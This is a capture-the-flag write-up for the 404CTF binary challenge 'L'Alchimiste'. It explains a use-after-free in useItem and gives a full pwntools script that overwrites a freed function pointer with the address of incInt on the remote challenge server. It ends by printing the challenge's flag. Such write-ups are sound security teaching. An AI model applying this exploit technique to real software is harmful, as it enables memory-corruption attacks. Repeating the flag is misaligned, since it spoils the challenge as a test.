L’Alchimiste
For this challenge, we are given this executable. We can open it on Ghidra and/or run it to understand how it works.
Recognition
As we can see, we have multiple options. I first tried to buy a strength potion and to use it multiple time:
As we can see, we have a double free error. This is because, when we use the strength potion, we call the useItem
function that does the following:
As we can see, we free the memory at the location of param_1+0x10
. If we look at the character creation, we can see that it is the address of the function located after the initial parameter:
param1
is the strength,param2
is the intelligence and param3 is the gold.
To better understand why this is a function, we can look at the buyStrUpPotion
function:
Increase Strength
As we can see, we set puVar1
some values and the last value of puVar1
is the function incStr
that increase the strength by 10. We can also notice that the function incStr
is set even if we don’t have enough money to buy the strength potion. So we can use repeatedly the option 1
to buy the potion and then use the option with the option 2
. This will allow us to get any amount of strength we want:
As we can see, we now have 230 of strength. Let’s have a look at how to get the flag… This is what we are here fore XD:
How to get the flag
As we cans see, we need *param_1 >= 0x96
and param[1] >= 0x96
where 0x96
is equal to 150
in decimal and those parameters are the strength and the intelligence as we saw earlier.
Note that
*param
<=>param_1[0]
.
We have solved the problem of the strength, but what about the intelligence??? There is no function in the program that calls the incInt
to do the same thing as for the strength…
Increase Intelligence
After a bit of digging, I found something called use after free
. As we saw earlier, the memory is free when we call the useItem
function, but the memory is not set as null before. This is great, at least for us XD.
We now can try to override the address of the function incStr
with the address of incInt
after the free of the useItem
. If we manage to do so, the address of incInt
will be at the same memory location than the previous incStr
. Then the call of useItem
will think that it is calling the incStr
but it will be calling incInt
.
Let’s see how to this now. For that we need to head back to the buyStrPotion
. This function will set the address of the incStr
function int puVar1[8]
but if we look at the assembly code, we can see that it is at the position +0x40
.
We can then try to override the first 64
(0x40
) characters and then put the address of incInt
that can be found in Ghidra. But for this to work, we need to call the option 3
that will do a malloc on the same memory location that was previously free with option 2
.
POC
The final code I used is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
warnings.filterwarnings("ignore", category=BytesWarning)
#io = process("./l_alchimiste")
HOST, PORT = "challenges.404ctf.fr", 30944
io = remote(HOST, PORT)
def getStrength():
io.recvuntil(">>> ")
io.sendline("2")
io.recvuntil(">>> ")
io.sendline("1")
def checkStrength():
io.recvuntil(">>> ")
io.sendline("4")
text = io.recvuntil("1:")
print(text)
if b"FOR: 160" in text:
return 1
else:
return 0
def setInteligence():
io.recvuntil(">>> ")
io.sendline("2")
io.recvuntil(">>> ")
io.sendline("3")
io.recvuntil("[Vous] : ")
io.sendline(b"a"*0x40+p64(0x004008d5))
io.recvuntil(">>> ")
io.sendline("1")
def checkInteligence():
io.recvuntil(">>> ")
io.sendline("4")
text = io.recvuntil("1:")
print(text)
if b"INT: 160" in text:
return 1
else:
return 0
io.recvuntil(">>> ")
io.sendline("1")
okStr = 0
while okStr != 1:
getStrength()
okStr = checkStrength()
okInt = 0
while okInt != 1:
okInt = checkInteligence()
setInteligence()
io.recvuntil(">>> ")
io.sendline("5")
print(io.recvline().decode())
print(io.recvline().decode())
print("Flag: ", io.recvline().decode())
If we run it locally, we get:
As we can see, we get the test flag we created. We can now run it on the remote host and get the flag:
The flag is 404CTF{P0UrQU01_P4Y3r_QU4ND_135_M075_5UFF153N7}